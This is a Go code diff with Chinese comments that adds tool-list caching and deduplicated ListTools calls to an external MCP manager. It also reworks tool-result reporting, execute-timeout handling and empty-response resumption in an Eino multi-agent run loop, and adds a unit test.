return nil return nil
} }
@@ -335,16 +390,19 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
return nil, fmt.Errorf("外部MCP连接失败: %s", name) return nil, fmt.Errorf("外部MCP连接失败: %s", name)
} }
// 已连接:尝试获取最新工具列表 // 已连接:缓存优先,仅在缺失或过期时打远程 ListTools
if client.IsConnected() { if client.IsConnected() {
tools, err := client.ListTools(ctx) if tools, ok := m.getFreshCachedTools(name); ok {
return tools, nil
}
if tools, ok := m.getAnyCachedTools(name); ok {
m.triggerToolListRefresh(name, client)
return tools, nil
}
tools, err := m.listToolsDeduped(ctx, name, client)
if err != nil { if err != nil {
// 获取失败,尝试使用缓存
return m.getCachedTools(name, "连接正常但获取失败", err) return m.getCachedTools(name, "连接正常但获取失败", err)
} }
// 获取成功,更新缓存
m.updateToolCache(name, tools)
return tools, nil return tools, nil
} }
@@ -361,37 +419,127 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
return nil, fmt.Errorf("外部MCP状态未知: %s (状态: %s)", name, status) return nil, fmt.Errorf("外部MCP状态未知: %s (状态: %s)", name, status)
} }
// getCachedTools 获取缓存的工具列表 // getCachedTools 获取缓存的工具列表(含空列表缓存)
func (m *ExternalMCPManager) getCachedTools(name, reason string, originalErr error) ([]Tool, error) { func (m *ExternalMCPManager) getCachedTools(name, reason string, originalErr error) ([]Tool, error) {
m.toolCacheMu.RLock() if tools, ok := m.getAnyCachedTools(name); ok {
cachedTools, hasCache := m.toolCache[name]
m.toolCacheMu.RUnlock()
if hasCache && len(cachedTools) > 0 {
m.logger.Debug("使用缓存的工具列表", m.logger.Debug("使用缓存的工具列表",
zap.String("name", name), zap.String("name", name),
zap.String("reason", reason), zap.String("reason", reason),
zap.Int("count", len(cachedTools)), zap.Int("count", len(tools)),
zap.Error(originalErr), zap.Error(originalErr),
) )
return cachedTools, nil return tools, nil
} }
// 无缓存,返回错误
if originalErr != nil { if originalErr != nil {
return nil, fmt.Errorf("获取外部MCP工具失败且无缓存: %w", originalErr) return nil, fmt.Errorf("获取外部MCP工具失败且无缓存: %w", originalErr)
} }
return nil, fmt.Errorf("外部MCP无缓存工具: %s", name) return nil, fmt.Errorf("外部MCP无缓存工具: %s", name)
} }
// updateToolCache 更新工具列表缓存 func (m *ExternalMCPManager) isToolCacheFresh(updatedAt time.Time) bool {
func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) { return !updatedAt.IsZero() && time.Since(updatedAt) < externalToolListCacheTTL
}
func cloneTools(tools []Tool) []Tool {
if len(tools) == 0 {
return nil
}
out := make([]Tool, len(tools))
copy(out, tools)
return out
}
func (m *ExternalMCPManager) getFreshCachedTools(name string) ([]Tool, bool) {
m.toolCacheMu.RLock()
entry, ok := m.toolCache[name]
m.toolCacheMu.RUnlock()
if !ok || !m.isToolCacheFresh(entry.updatedAt) {
return nil, false
}
return cloneTools(entry.tools), true
}
func (m *ExternalMCPManager) getAnyCachedTools(name string) ([]Tool, bool) {
m.toolCacheMu.RLock()
entry, ok := m.toolCache[name]
m.toolCacheMu.RUnlock()
if !ok {
return nil, false
}
return cloneTools(entry.tools), true
}
// listToolsDeduped 对同一 MCP 合并并发 ListTools,并更新 toolCache / toolCounts。
func (m *ExternalMCPManager) listToolsDeduped(ctx context.Context, name string, client ExternalMCPClient) ([]Tool, error) {
m.listToolsMu.Lock()
if inflight, exists := m.listToolsInflight[name]; exists {
m.listToolsMu.Unlock()
select {
case <-inflight.done:
if inflight.err != nil {
return nil, inflight.err
}
return cloneTools(inflight.tools), nil
case <-ctx.Done():
return nil, ctx.Err()
}
}
inflight := &listToolsInflight{done: make(chan struct{})}
m.listToolsInflight[name] = inflight
m.listToolsMu.Unlock()
inflight.tools, inflight.err = client.ListTools(ctx)
if inflight.err == nil {
m.updateToolCache(name, inflight.tools)
}
m.listToolsMu.Lock()
delete(m.listToolsInflight, name)
close(inflight.done)
m.listToolsMu.Unlock()
if inflight.err != nil {
m.handleConnectionDead(name, client, inflight.err)
return nil, inflight.err
}
return cloneTools(inflight.tools), nil
}
// InvalidateToolCache 清除指定外部 MCP 的工具列表缓存(手动刷新时使用)
func (m *ExternalMCPManager) InvalidateToolCache(name string) {
m.toolCacheMu.Lock() m.toolCacheMu.Lock()
m.toolCache[name] = tools delete(m.toolCache, name)
m.toolCacheMu.Unlock()
}
// InvalidateAllToolCaches 清除所有外部 MCP 工具列表缓存
func (m *ExternalMCPManager) InvalidateAllToolCaches() {
m.toolCacheMu.Lock()
m.toolCache = make(map[string]toolListCacheEntry)
m.toolCacheMu.Unlock()
}
func (m *ExternalMCPManager) triggerToolListRefresh(name string, client ExternalMCPClient) {
go func() {
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
defer cancel()
_, _ = m.listToolsDeduped(ctx, name, client)
}()
}
// updateToolCache 更新工具列表缓存与工具数量
func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
stored := cloneTools(tools)
m.toolCacheMu.Lock()
m.toolCache[name] = toolListCacheEntry{tools: stored, updatedAt: time.Now()}
m.toolCacheMu.Unlock() m.toolCacheMu.Unlock()
// 如果返回空列表,记录警告 m.toolCountsMu.Lock()
if len(tools) == 0 { m.toolCounts[name] = len(stored)
m.toolCountsMu.Unlock()
if len(stored) == 0 {
m.logger.Warn("外部MCP返回空工具列表", m.logger.Warn("外部MCP返回空工具列表",
zap.String("name", name), zap.String("name", name),
zap.String("hint", "服务可能暂时不可用,工具列表为空"), zap.String("hint", "服务可能暂时不可用,工具列表为空"),
@@ -399,7 +547,7 @@ func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
} else { } else {
m.logger.Debug("工具列表缓存已更新", m.logger.Debug("工具列表缓存已更新",
zap.String("name", name), zap.String("name", name),
zap.Int("count", len(tools)), zap.Int("count", len(stored)),
) )
} }
} }
@@ -467,6 +615,9 @@ func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args
// 调用工具 // 调用工具
result, err := client.CallTool(execCtx, actualToolName, args) result, err := client.CallTool(execCtx, actualToolName, args)
if err != nil {
m.handleConnectionDead(mcpName, client, err)
}
cancelledWithUserNote := m.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err) cancelledWithUserNote := m.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
// 更新执行记录 // 更新执行记录
@@ -854,28 +1005,27 @@ func (m *ExternalMCPManager) refreshToolCounts() {
return return
} }
// 使用合理的超时时间(15秒),既能应对网络延迟,又不会过长阻塞 // 缓存仍新鲜时直接复用,避免与 GetAllTools 重复打远程
// 由于这是后台异步刷新,超时不会影响前端响应 if _, fresh := m.getFreshCachedTools(n); fresh {
m.toolCountsMu.RLock()
count := m.toolCounts[n]
m.toolCountsMu.RUnlock()
resultChan <- countResult{name: n, count: count}
return
}
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
tools, err := c.ListTools(ctx) tools, err := m.listToolsDeduped(ctx, n, c)
cancel() cancel()
if err != nil { if err != nil {
errStr := err.Error() if !isConnectionDeadError(err) {
// SSE 连接 EOF:远端可能关闭了流或未按规范在流上推送响应,仅首次用 Warn 提示
if strings.Contains(errStr, "EOF") || strings.Contains(errStr, "client is closing") {
m.logger.Warn("获取外部MCP工具数量失败(SSE 流已关闭或服务端未在流上返回 tools/list 响应)",
zap.String("name", n),
zap.String("hint", "若为 SSE 连接,请确认服务端保持 GET 流打开并按 MCP 规范以 event: message 推送 JSON-RPC 响应"),
zap.Error(err),
)
} else {
m.logger.Warn("获取外部MCP工具数量失败,请检查连接或服务端 tools/list", m.logger.Warn("获取外部MCP工具数量失败,请检查连接或服务端 tools/list",
zap.String("name", n), zap.String("name", n),
zap.Error(err), zap.Error(err),
) )
} }
resultChan <- countResult{name: n, count: -1} // -1 表示使用旧值 resultChan <- countResult{name: n, count: -1}
return return
} }
@@ -925,33 +1075,21 @@ func (m *ExternalMCPManager) refreshToolCache(name string, client ExternalMCPCli
if !client.IsConnected() { if !client.IsConnected() {
return return
} }
if client.GetStatus() == "error" {
// 检查状态,如果是error状态,不更新缓存
status := client.GetStatus()
if status == "error" {
m.logger.Debug("跳过刷新工具列表缓存(连接失败)", m.logger.Debug("跳过刷新工具列表缓存(连接失败)",
zap.String("name", name), zap.String("name", name),
zap.String("status", status),
) )
return return
} }
// 使用较短的超时时间(5秒) ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel() defer cancel()
if _, err := m.listToolsDeduped(ctx, name, client); err != nil {
tools, err := client.ListTools(ctx)
if err != nil {
m.logger.Debug("刷新工具列表缓存失败", m.logger.Debug("刷新工具列表缓存失败",
zap.String("name", name), zap.String("name", name),
zap.Error(err), zap.Error(err),
) )
// 刷新失败时不更新缓存,保留旧缓存(如果有)
return
} }
// 使用统一的缓存更新方法
m.updateToolCache(name, tools)
} }
// startToolCountRefresh 启动后台刷新工具数量的goroutine // startToolCountRefresh 启动后台刷新工具数量的goroutine
@@ -959,7 +1097,7 @@ func (m *ExternalMCPManager) startToolCountRefresh() {
m.refreshWg.Add(1) m.refreshWg.Add(1)
go func() { go func() {
defer m.refreshWg.Done() defer m.refreshWg.Done()
ticker := time.NewTicker(10 * time.Second) // 每10秒刷新一次 ticker := time.NewTicker(externalToolCountRefreshInterval)
defer ticker.Stop() defer ticker.Stop()
// 立即执行一次刷新 // 立即执行一次刷新
@@ -1075,6 +1213,8 @@ func (m *ExternalMCPManager) connectClient(name string, serverCfg config.Externa
zap.String("name", name), zap.String("name", name),
) )
m.onClientConnected(name)
// 连接成功,触发工具数量刷新和工具列表缓存刷新 // 连接成功,触发工具数量刷新和工具列表缓存刷新
m.triggerToolCountRefresh() m.triggerToolCountRefresh()
m.mu.RLock() m.mu.RLock()
@@ -1159,6 +1299,7 @@ func (m *ExternalMCPManager) StopAll() {
for name, client := range m.clients { for name, client := range m.clients {
client.Close() client.Close()
delete(m.clients, name) delete(m.clients, name)
m.clearReconnectState(name)
} }
// 清理所有工具数量缓存 // 清理所有工具数量缓存
@@ -1168,7 +1309,7 @@ func (m *ExternalMCPManager) StopAll() {
// 清理所有工具列表缓存 // 清理所有工具列表缓存
m.toolCacheMu.Lock() m.toolCacheMu.Lock()
m.toolCache = make(map[string][]Tool) m.toolCache = make(map[string]toolListCacheEntry)
m.toolCacheMu.Unlock() m.toolCacheMu.Unlock()
// 停止后台刷新(使用 select 避免重复关闭 channel // 停止后台刷新(使用 select 避免重复关闭 channel
+21
View File
@@ -21,6 +21,7 @@ import (
// MonitorStorage 监控数据存储接口 // MonitorStorage 监控数据存储接口
type MonitorStorage interface { type MonitorStorage interface {
SaveToolExecution(exec *ToolExecution) error SaveToolExecution(exec *ToolExecution) error
UpdateToolExecutionResult(id string, result *ToolResult) error
LoadToolExecutions() ([]*ToolExecution, error) LoadToolExecutions() ([]*ToolExecution, error)
GetToolExecution(id string) (*ToolExecution, error) GetToolExecution(id string) (*ToolExecution, error)
SaveToolStats(toolName string, stats *ToolStats) error SaveToolStats(toolName string, stats *ToolStats) error
@@ -963,6 +964,26 @@ func (s *Server) RecordCompletedToolInvocation(toolName string, args map[string]
return executionID return executionID
} }
// UpdateToolExecutionResult 将监控库中的工具结果更新为送入模型的展示正文(如 reduction 后的 persisted-output)。
func (s *Server) UpdateToolExecutionResult(executionID string, result *ToolResult) error {
if s == nil {
return nil
}
executionID = strings.TrimSpace(executionID)
if executionID == "" || result == nil {
return nil
}
s.mu.Lock()
if exec, ok := s.executions[executionID]; ok && exec != nil {
exec.Result = result
}
s.mu.Unlock()
if s.storage != nil {
return s.storage.UpdateToolExecutionResult(executionID, result)
}
return nil
}
// cleanupOldExecutions 清理旧的执行记录,防止内存无限增长 // cleanupOldExecutions 清理旧的执行记录,防止内存无限增长
func (s *Server) cleanupOldExecutions() { func (s *Server) cleanupOldExecutions() {
if len(s.executions) <= s.maxExecutionsInMemory { if len(s.executions) <= s.maxExecutionsInMemory {
+141 -88
View File
@@ -88,6 +88,7 @@ type einoADKRunLoopArgs struct {
// 在完成时写入 MCP 监控;execute 仍由 eino_execute_monitor 记录,此处跳过。 // 在完成时写入 MCP 监控;execute 仍由 eino_execute_monitor 记录,此处跳过。
FilesystemMonitorAgent *agent.Agent FilesystemMonitorAgent *agent.Agent
FilesystemMonitorRecord einomcp.ExecutionRecorder FilesystemMonitorRecord einomcp.ExecutionRecorder
MCPExecutionBinder *MCPExecutionBinder
// ToolInvokeNotify 与 einomcp.ToolsFromDefinitions 共享:run loop 在迭代前 SetMCP 桥 Fire 以补全 tool_result。 // ToolInvokeNotify 与 einomcp.ToolsFromDefinitions 共享:run loop 在迭代前 SetMCP 桥 Fire 以补全 tool_result。
ToolInvokeNotify *einomcp.ToolInvokeNotifyHolder ToolInvokeNotify *einomcp.ToolInvokeNotifyHolder
@@ -285,53 +286,63 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
executeStdoutDupMu.Unlock() executeStdoutDupMu.Unlock()
} }
var toolResultSent sync.Map // toolCallID -> struct{}ADK Tool 消息去重,避免 bridge 与事件流各推一次 var toolResultSent sync.Map // toolCallID -> struct{}ADK Tool 事件去重(权威正文来自 reduction 处理后的 agent 上下文)
if args.ToolInvokeNotify != nil { tryEmitToolResultProgress := func(toolName, content, toolCallID string, isErr bool, agentName string) {
args.ToolInvokeNotify.Set(func(toolCallID, toolName, einoAgent string, success bool, content string, invokeErr error) { if progress == nil {
tid := strings.TrimSpace(toolCallID) return
removePendingByID(tid) }
if tid == "" || progress == nil { toolName = strings.TrimSpace(toolName)
return if toolName == "" {
toolName = "unknown"
}
preview := content
if len(preview) > 200 {
preview = preview[:200] + "..."
}
data := map[string]interface{}{
"toolName": toolName,
"success": !isErr,
"isError": isErr,
"result": content,
"resultPreview": preview,
"conversationId": conversationID,
"einoAgent": agentName,
"einoRole": einoRoleTag(agentName),
"source": "eino",
}
tid := strings.TrimSpace(toolCallID)
if tid == "" {
if inferred, ok := popNextPendingForAgent(agentName); ok {
tid = inferred.ToolCallID
} else if inferred, ok := popNextPendingForAgent(orchestratorName); ok {
tid = inferred.ToolCallID
} else if inferred, ok := popNextPendingForAgent(""); ok {
tid = inferred.ToolCallID
} else if inferred, ok := popAnyPending(); ok {
tid = inferred.ToolCallID
} }
}
if tid != "" {
removePendingByID(tid)
if _, loaded := toolResultSent.LoadOrStore(tid, struct{}{}); loaded { if _, loaded := toolResultSent.LoadOrStore(tid, struct{}{}); loaded {
return return
} }
isErr := !success || invokeErr != nil data["toolCallId"] = tid
body := content toolCallID = tid
if invokeErr != nil { }
// 保留已流式累计的 stdout(如 execute 超时前的一半输出),避免 tool_result 只剩错误串、模型与 UI 丢失上下文 recordPendingExecuteStdoutDup(toolName, content, isErr)
tail := friendlyEinoExecuteInvokeTail(invokeErr) recordEinoADKFilesystemToolMonitor(args.FilesystemMonitorAgent, args.FilesystemMonitorRecord, toolName, toolCallID, runAccumulatedMsgs, content, isErr)
// execute 流式包装可能已把超时句写入 content(供 ADK tool 与流式 delta);勿重复拼接 if args.FilesystemMonitorAgent != nil && args.MCPExecutionBinder != nil {
if tail != "" && strings.Contains(content, tail) { if execID := args.MCPExecutionBinder.ExecutionID(toolCallID); execID != "" {
body = content args.FilesystemMonitorAgent.UpdateMCPExecutionDisplayResult(execID, content)
} else if strings.TrimSpace(content) != "" {
body = strings.TrimRight(content, "\n") + "\n\n" + tail
} else {
body = tail
}
isErr = true
} }
recordPendingExecuteStdoutDup(toolName, body, isErr) }
preview := body progress("tool_result", fmt.Sprintf("工具结果 (%s)", toolName), data)
if len(preview) > 200 { }
preview = preview[:200] + "..." if args.ToolInvokeNotify != nil {
} args.ToolInvokeNotify.Set(func(toolCallID, toolName, einoAgent string, success bool, content string, invokeErr error) {
agentTag := strings.TrimSpace(einoAgent) removePendingByID(strings.TrimSpace(toolCallID))
if agentTag == "" { // tool_result 仅由下方 ADK schema.Tool 事件推送,正文与送入模型的上下文一致(含 reduction 截断)。
agentTag = orchestratorName
}
progress("tool_result", fmt.Sprintf("工具结果 (%s)", toolName), map[string]interface{}{
"toolName": toolName,
"success": !isErr,
"isError": isErr,
"result": body,
"resultPreview": preview,
"toolCallId": tid,
"conversationId": conversationID,
"einoAgent": agentTag,
"einoRole": einoRoleTag(agentTag),
"source": "eino",
})
}) })
} }
@@ -619,19 +630,66 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
} }
} }
} }
// 仅在代理切换时更新进度标题;同一代理的每个 ADK 事件不再重复刷 progress。
if einoLastAgent != ev.AgentName {
progress("progress", fmt.Sprintf("[Eino] %s", ev.AgentName), map[string]interface{}{
"conversationId": conversationID,
"einoAgent": ev.AgentName,
"einoRole": einoRoleTag(ev.AgentName),
"orchestration": orchMode,
})
}
einoLastAgent = ev.AgentName einoLastAgent = ev.AgentName
progress("progress", fmt.Sprintf("[Eino] %s", ev.AgentName), map[string]interface{}{
"conversationId": conversationID,
"einoAgent": ev.AgentName,
"einoRole": einoRoleTag(ev.AgentName),
"orchestration": orchMode,
})
} }
if ev.Output == nil || ev.Output.MessageOutput == nil { if ev.Output == nil || ev.Output.MessageOutput == nil {
continue continue
} }
mv := ev.Output.MessageOutput mv := ev.Output.MessageOutput
if mv.IsStreaming && mv.MessageStream != nil && mv.Role == schema.Tool {
toolName := strings.TrimSpace(mv.ToolName)
var toolBuf strings.Builder
streamToolCallID := ""
var toolStreamRecvErr error
for {
chunk, rerr := mv.MessageStream.Recv()
if errors.Is(rerr, io.EOF) {
break
}
if rerr != nil {
toolStreamRecvErr = rerr
break
}
if chunk == nil {
continue
}
if chunk.Content != "" {
toolBuf.WriteString(chunk.Content)
}
if tid := strings.TrimSpace(chunk.ToolCallID); tid != "" {
streamToolCallID = tid
}
}
content := toolBuf.String()
isErr := false
if strings.HasPrefix(content, einomcp.ToolErrorPrefix) {
isErr = true
content = strings.TrimPrefix(content, einomcp.ToolErrorPrefix)
}
if streamToolCallID != "" {
opts := []schema.ToolMessageOption{schema.WithToolName(toolName)}
runAccumulatedMsgs = append(runAccumulatedMsgs, schema.ToolMessage(content, streamToolCallID, opts...))
}
tryEmitToolResultProgress(toolName, content, streamToolCallID, isErr, ev.AgentName)
if toolStreamRecvErr != nil && logger != nil {
logger.Warn("eino tool result stream recv error",
zap.Error(toolStreamRecvErr),
zap.String("agent", ev.AgentName),
zap.String("tool", toolName))
}
continue
}
if mv.IsStreaming && mv.MessageStream != nil { if mv.IsStreaming && mv.MessageStream != nil {
mainStreamID := fmt.Sprintf("eino-main-%s-%d", conversationID, atomic.AddInt64(&mainResponseStreamSeq, 1)) mainStreamID := fmt.Sprintf("eino-main-%s-%d", conversationID, atomic.AddInt64(&mainResponseStreamSeq, 1))
streamHeaderSent := false streamHeaderSent := false
@@ -785,6 +843,16 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
} }
} }
} }
if progress != nil && reasoningStreamID != "" && strings.TrimSpace(reasoningBuf) != "" {
progress("reasoning_chain_stream_end", openai.DisplayReasoningContent(strings.TrimSpace(reasoningBuf)), map[string]interface{}{
"streamId": reasoningStreamID,
"conversationId": conversationID,
"source": "eino",
"einoAgent": ev.AgentName,
"einoRole": einoRoleTag(ev.AgentName),
"orchestration": orchMode,
})
}
if streamsMainAssistant(ev.AgentName) { if streamsMainAssistant(ev.AgentName) {
s := strings.TrimSpace(mainAssistantBuf) s := strings.TrimSpace(mainAssistantBuf)
if mainAssistDupTarget != "" { if mainAssistDupTarget != "" {
@@ -963,7 +1031,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
} }
} }
if mv.Role == schema.Tool && progress != nil { if (mv.Role == schema.Tool || msg.Role == schema.Tool) && progress != nil {
toolName := msg.ToolName toolName := msg.ToolName
if toolName == "" { if toolName == "" {
toolName = mv.ToolName toolName = mv.ToolName
@@ -976,46 +1044,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
content = strings.TrimPrefix(content, einomcp.ToolErrorPrefix) content = strings.TrimPrefix(content, einomcp.ToolErrorPrefix)
} }
preview := content
if len(preview) > 200 {
preview = preview[:200] + "..."
}
data := map[string]interface{}{
"toolName": toolName,
"success": !isErr,
"isError": isErr,
"result": content,
"resultPreview": preview,
"conversationId": conversationID,
"einoAgent": ev.AgentName,
"einoRole": einoRoleTag(ev.AgentName),
"source": "eino",
}
toolCallID := strings.TrimSpace(msg.ToolCallID) toolCallID := strings.TrimSpace(msg.ToolCallID)
if toolCallID == "" { tryEmitToolResultProgress(toolName, content, toolCallID, isErr, ev.AgentName)
if inferred, ok := popNextPendingForAgent(ev.AgentName); ok {
toolCallID = inferred.ToolCallID
} else if inferred, ok := popNextPendingForAgent(orchestratorName); ok {
toolCallID = inferred.ToolCallID
} else if inferred, ok := popNextPendingForAgent(""); ok {
toolCallID = inferred.ToolCallID
} else if inferred, ok := popAnyPending(); ok {
toolCallID = inferred.ToolCallID
}
}
if toolCallID != "" {
removePendingByID(toolCallID)
if _, loaded := toolResultSent.LoadOrStore(toolCallID, struct{}{}); loaded {
// ToolInvokeNotify 可能已推过 tool_result(如 execute 流式包装里 Fire 仅携带截断后的 stdout),
// 此处仍应用 ADK Tool 消息中的完整内容刷新去重基准,避免模型复述全文时与截断串比对失败而重复展示「助手输出」。
recordPendingExecuteStdoutDup(toolName, content, isErr)
continue
}
data["toolCallId"] = toolCallID
}
recordPendingExecuteStdoutDup(toolName, content, isErr)
recordEinoADKFilesystemToolMonitor(args.FilesystemMonitorAgent, args.FilesystemMonitorRecord, toolName, toolCallID, runAccumulatedMsgs, content, isErr)
progress("tool_result", fmt.Sprintf("工具结果 (%s)", toolName), data)
} }
} }
@@ -1027,9 +1057,32 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
orchMode, runAccumulatedMsgs, persistTraceSource(args, runAccumulatedMsgs), orchMode, runAccumulatedMsgs, persistTraceSource(args, runAccumulatedMsgs),
lastAssistant, lastPlanExecuteExecutor, emptyHint, ids, false, lastAssistant, lastPlanExecuteExecutor, emptyHint, ids, false,
) )
if shouldEinoEmptyResponseContinue(out, emptyHint, len(runAccumulatedMsgs), baseAccumulatedCount) {
if logger != nil {
logger.Info("eino empty response, ending run segment for handler resume",
zap.String("conversationId", conversationID),
zap.String("orchestration", orchMode),
zap.Int("traceMessages", len(runAccumulatedMsgs)))
}
if progress != nil {
progress("eino_empty_response_continue", "会话已结束但未产生助手正文,正在基于轨迹自动续跑…", map[string]interface{}{
"conversationId": conversationID,
"source": "eino",
"resumeKind": "trace_segment",
})
}
return out, ErrEmptyResponseContinue
}
return out, nil return out, nil
} }
func shouldEinoEmptyResponseContinue(out *RunResult, emptyHint string, accumulatedLen, baseCount int) bool {
if out == nil || accumulatedLen <= baseCount {
return false
}
return strings.TrimSpace(out.Response) == strings.TrimSpace(emptyHint)
}
func persistTraceSource(args *einoADKRunLoopArgs, fallback []adk.Message) []adk.Message { func persistTraceSource(args *einoADKRunLoopArgs, fallback []adk.Message) []adk.Message {
if args != nil && args.ModelFacingTrace != nil { if args != nil && args.ModelFacingTrace != nil {
if snap := args.ModelFacingTrace.Snapshot(); len(snap) > 0 { if snap := args.ModelFacingTrace.Snapshot(); len(snap) > 0 {
@@ -0,0 +1,21 @@
package multiagent
import "testing"
func TestShouldEinoEmptyResponseContinue(t *testing.T) {
t.Parallel()
hint := "(empty hint)"
out := &RunResult{Response: hint}
if !shouldEinoEmptyResponseContinue(out, hint, 3, 1) {
t.Fatal("expected continue when response is empty hint and trace grew")
}
if shouldEinoEmptyResponseContinue(out, hint, 1, 1) {
t.Fatal("expected no continue when trace did not grow")
}
if shouldEinoEmptyResponseContinue(&RunResult{Response: "hello"}, hint, 3, 1) {
t.Fatal("expected no continue when response has content")
}
if shouldEinoEmptyResponseContinue(nil, hint, 3, 1) {
t.Fatal("expected no continue for nil result")
}
}
+3 -3
View File
@@ -9,8 +9,8 @@ import (
// newEinoExecuteMonitorCallback 在 Eino filesystem execute 结束时写入 MCP 监控库并 recorder(executionId) // newEinoExecuteMonitorCallback 在 Eino filesystem execute 结束时写入 MCP 监控库并 recorder(executionId)
// 与 CallTool 路径一致,供助手消息展示「渗透测试详情」芯片。 // 与 CallTool 路径一致,供助手消息展示「渗透测试详情」芯片。
func newEinoExecuteMonitorCallback(ag *agent.Agent, recorder einomcp.ExecutionRecorder) func(command, stdout string, success bool, invokeErr error) { func newEinoExecuteMonitorCallback(ag *agent.Agent, recorder einomcp.ExecutionRecorder) func(toolCallID, command, stdout string, success bool, invokeErr error) {
return func(command, stdout string, success bool, invokeErr error) { return func(toolCallID, command, stdout string, success bool, invokeErr error) {
if ag == nil || recorder == nil { if ag == nil || recorder == nil {
return return
} }
@@ -25,7 +25,7 @@ func newEinoExecuteMonitorCallback(ag *agent.Agent, recorder einomcp.ExecutionRe
args := map[string]interface{}{"command": command} args := map[string]interface{}{"command": command}
id := ag.RecordLocalToolExecution("execute", args, stdout, err) id := ag.RecordLocalToolExecution("execute", args, stdout, err)
if id != "" { if id != "" {
recorder(id) recorder(id, toolCallID)
} }
} }
} }
@@ -34,6 +34,15 @@ func einoExecuteTimeoutUserHint() string {
return "已超时终止 · Timed out" return "已超时终止 · Timed out"
} }
// einoExecuteRecvErrIsToolTimeout 判断 Recv 错误是否由 agent.tool_timeout_minutes 触发。
// WithTimeout 到期后 local 侧常报 canceled / exit -1,但 execCtx.Err() 仍为 DeadlineExceeded。
func einoExecuteRecvErrIsToolTimeout(rerr error, tctx context.Context) bool {
if tctx != nil && errors.Is(tctx.Err(), context.DeadlineExceeded) {
return true
}
return errors.Is(rerr, context.DeadlineExceeded)
}
// einoStreamingShellWrap 包装 Eino filesystem 使用的 StreamingShellcloudwego eino-ext local.Local)。 // einoStreamingShellWrap 包装 Eino filesystem 使用的 StreamingShellcloudwego eino-ext local.Local)。
// 官方 execute 工具默认走 ExecuteStreaming 且不设 RunInBackendGround;末尾带 & 时子进程仍与管道相连, // 官方 execute 工具默认走 ExecuteStreaming 且不设 RunInBackendGround;末尾带 & 时子进程仍与管道相连,
// streamStdout 按行读取会在无换行输出时长时间阻塞(与 MCP 工具 exec 的独立实现不同)。 // streamStdout 按行读取会在无换行输出时长时间阻塞(与 MCP 工具 exec 的独立实现不同)。
@@ -53,7 +62,7 @@ type einoStreamingShellWrap struct {
// toolTimeoutMinutes 与 agent.tool_timeout_minutes 对齐;>0 时对单次 execute 套用 context 超时(与 MCP 工具经 executeToolViaMCP 行为一致)。0 表示仅依赖上层 ctx(如整任务 10h 上限)。 // toolTimeoutMinutes 与 agent.tool_timeout_minutes 对齐;>0 时对单次 execute 套用 context 超时(与 MCP 工具经 executeToolViaMCP 行为一致)。0 表示仅依赖上层 ctx(如整任务 10h 上限)。
toolTimeoutMinutes int toolTimeoutMinutes int
// recordMonitor 在 execute 流结束后写入 tool_executions 并 recorder(executionId),使「渗透测试详情」与常规 MCP 一致。 // recordMonitor 在 execute 流结束后写入 tool_executions 并 recorder(executionId),使「渗透测试详情」与常规 MCP 一致。
recordMonitor func(command, stdout string, success bool, invokeErr error) recordMonitor func(toolCallID, command, stdout string, success bool, invokeErr error)
} }
func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *filesystem.ExecuteRequest) (*schema.StreamReader[*filesystem.ExecuteResponse], error) { func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *filesystem.ExecuteRequest) (*schema.StreamReader[*filesystem.ExecuteResponse], error) {
@@ -83,15 +92,25 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
if execCancel != nil { if execCancel != nil {
execCancel() execCancel()
} }
if einoExecuteRecvErrIsToolTimeout(err, execCtx) {
hint := "\n\n" + einoExecuteTimeoutUserHint() + "\n"
if w.recordMonitor != nil {
w.recordMonitor(tid, userCmd, hint, false, context.DeadlineExceeded)
}
if w.invokeNotify != nil && tid != "" {
w.invokeNotify.Fire(tid, "execute", agentTag, false, hint, context.DeadlineExceeded)
}
return schema.StreamReaderFromArray([]*filesystem.ExecuteResponse{{Output: hint}}), nil
}
if w.recordMonitor != nil { if w.recordMonitor != nil {
w.recordMonitor(userCmd, "", false, err) w.recordMonitor(tid, userCmd, "", false, err)
} }
if w.invokeNotify != nil && tid != "" { if w.invokeNotify != nil && tid != "" {
w.invokeNotify.Fire(tid, "execute", agentTag, false, "", err) w.invokeNotify.Fire(tid, "execute", agentTag, false, "", err)
} }
return nil, err return nil, err
} }
if sr == nil || w.invokeNotify == nil || tid == "" { if sr == nil || w.invokeNotify == nil {
if execCancel != nil { if execCancel != nil {
execCancel() execCancel()
} }
@@ -107,7 +126,6 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
} }
var sb strings.Builder var sb strings.Builder
const maxCapture = 16 * 1024
success := true success := true
var invokeErr error var invokeErr error
exitCode := 0 exitCode := 0
@@ -121,6 +139,11 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
if rerr != nil { if rerr != nil {
success = false success = false
invokeErr = rerr invokeErr = rerr
// 单次 execute 超时须与 MCP 工具一致:写入工具结果尾标、继续迭代,不得向 ADK 流注入硬错误。
if einoExecuteRecvErrIsToolTimeout(rerr, tctx) {
invokeErr = context.DeadlineExceeded
break
}
_ = outW.Send(nil, rerr) _ = outW.Send(nil, rerr)
break break
} }
@@ -130,15 +153,10 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
